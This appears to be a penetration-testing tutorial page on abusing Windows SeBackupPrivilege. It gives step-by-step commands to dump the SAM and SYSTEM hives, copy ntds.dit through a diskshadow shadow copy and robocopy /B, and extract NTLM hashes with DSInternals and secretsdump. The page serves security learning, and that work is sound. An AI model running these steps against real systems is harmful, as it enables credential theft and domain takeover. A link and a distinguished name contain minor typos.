> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/privileges-in-depth/sebackupprivilege.md).

# SeBackupPrivilege

This privilege is often given to [Backup Operators](/breakpoint/windows/windows-privilege-escalation/accounts-and-and-groups-in-depth/backup-operators.md) and is distinct from the [SeRestorePrivilege](/breakpoint/windows/windows-privilege-escalation/privileges-in-depth/serestoreprivilege.md), which pertains to file restoration. With the `FILE_FLAG_BACKUP_SEMANTICS` flag set, this privilege allows a process or user to...

1. **read any file on the system**, even if it does not have NTFS permissions.
2. Bypass **file and folder access control lists (ACLs)** during read operations.

If you're able to gain access to the Backup Operators group or takeover a process with `SeBackupPrivilege` enabled you may be able to read critical files (see [Credential Theft + Sensitive Files](/breakpoint/windows/windows-privilege-escalation/credential-theft-+-sensitive-files.md)) such as [NTDS.dit](ntds.dithttps://attack.mitre.org/techniques/T1003/003/) or sensitive registry hives like `C:\Windows\System32\config\SAM`. 

{% code title="Save the SAM and SYSTEM registry hives" %}

```batch
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```

{% endcode %}

{% hint style="warning" %}
You may prevent access to such sensitive files via deny entries for a specific user or group on a folder or file irregardless of whether the `FILE_FLAG_BACKUP_SEMANTICS` is set
{% endhint %}

| TOOL                                                                                                      | DESCRIPTION                                                                                                                                                                                            |
| --------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| [SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) (giuliano108)                       | PowerShell and DLL tooling for abusing `SeBackupPrivilege` to copy protected files by using backup semantics                                                                                           |
| [diskshadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow) | Built-in Volume Shadow Copy Service utility for creating and exposing shadow copies. Useful for copying locked files such as `NTDS.dit` and registry hives from a consistent snapshot                  |
| [robocopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy)     | Built-in file copy utility. Can copy protected files in backup mode with `/b` when the caller has `SeBackupPrivilege`, and is useful for reliably moving data out of shadow copies or restricted paths |

## SeBackupPrivilege{Utils, CmdLets}.dll

A commonly used tool for manipulating such files is [SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) by giuliano108. You can find out more in the [SeBackupPrivilege](/breakpoint/windows/windows-privilege-escalation/privileges-in-depth/sebackupprivilege.md) section.

{% tabs %}
{% tab title="Import DLLs" %}

```powershell
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

{% endtab %}

{% tab title="Get/Set Privilege" %}

```powershell
Get-SeBackupPrivilege
Set-SeBackupPrivilege
```

{% endtab %}

{% tab title="Backup and Copy" %}

```powershell
# The Copy-FileSeBackupPrivilege opens the source file with FILE_FLAG_BACKUP_SEMANTICS
Copy-FileSeBackupPrivilege 'C:\target_file.txt' .\copy_destination.txt
```

{% endtab %}
{% endtabs %}

{% hint style="warning" %}
I've enabled the SeBackupPrivilege but `copy` on a restricted file still fails?
{% endhint %}

> If you want to read/copy data out of a "normally forbidden" folder, you have to act as a backup software. The shell `copy` command won't work; you'll need to open the source file manually using `CreateFile` making sure to specify the `FILE_FLAG_BACKUP_SEMANTICS` flag.
>
> (giuliano108)

## diskshadow

Another useful backup utility is Microsoft's [diskshadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow), which can create a 'shadow copy' of, say, the C drive, and exposing it on another drive. 

<p align="center"><em>Why is this useful?</em> </p>

For example, the `NTDS.dit` file on a DC is locked by default, however, you can interact with a shadow copy given it will not be in use by the system. The sample below shows how to extract the NTLM hashes from the NTDS.dit in two different ways:

{% code title="Create a snapshot of a live volume, C:, so locked files can be accessed safely in E:" %}

```powershell
# Start diskshadow terminal and enables verbose logging
> diskshadow.exe
DISKSHADOW> set verbose on

# Setup metadata and context
## Store metadata about the new VSS snapshot in meta.cab
## clientaccessible specifies that the shadow copy is usable by client versions of Windows -- the alternative being just an internal system restore snapshot
## persistent specifies that the shadow copy persists across program exit, reset, or restart.
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent

# Create a new volume from the C: and expose it as E:
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

# Now we may interact with the shadow copy of ntds.dit and bypass the ACLs to copy it locally
> powershell
> Import-Module .\SeBackupPrivilegeUtils.dll
> Import-Module .\SeBackupPrivilegeCmdLets.dll
> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

# Export the SYSTEM hive because it contains the BootKey. This key is essential for
# decrypting the ntds.dit
> reg save HKLM\SYSTEM SYSTEM.SAV

# Retrieve the NTLM hash from NTDS.dit
> Import-Module .\DSInternals.psd1
> $key = Get-BootKey -SystemHivePath .\SYSTEM.SAV

# Queries the offline AD database (DB) to grab the NTLM hash for administrator
> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DCj=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
...
# We can also just grab all NTLM hashes at this point
> secretsdump.py -ntds ntds.dit -system SYSTEM.SAV -hashes lmhash:nthash LOCAL
...
```

{% endcode %}

### Boot Key? Huh?

The **Boot Key** (also called **SysKey**) is a *master decryption key derived from the SYSTEM registry hive*. It is not stored in plain form. Instead, Windows reconstructs it from multiple registry values inside `SYSTEM`.

## robocopy

A separate useful tool, [robocopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy), can also copy files. The difference is that robocopy can check the destination directory and remove files no longer in the source directory as well as compare files before copying for ease of backup.

{% code title="Copying the NTDS.dit file" %}

```batch
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
```

{% endcode %}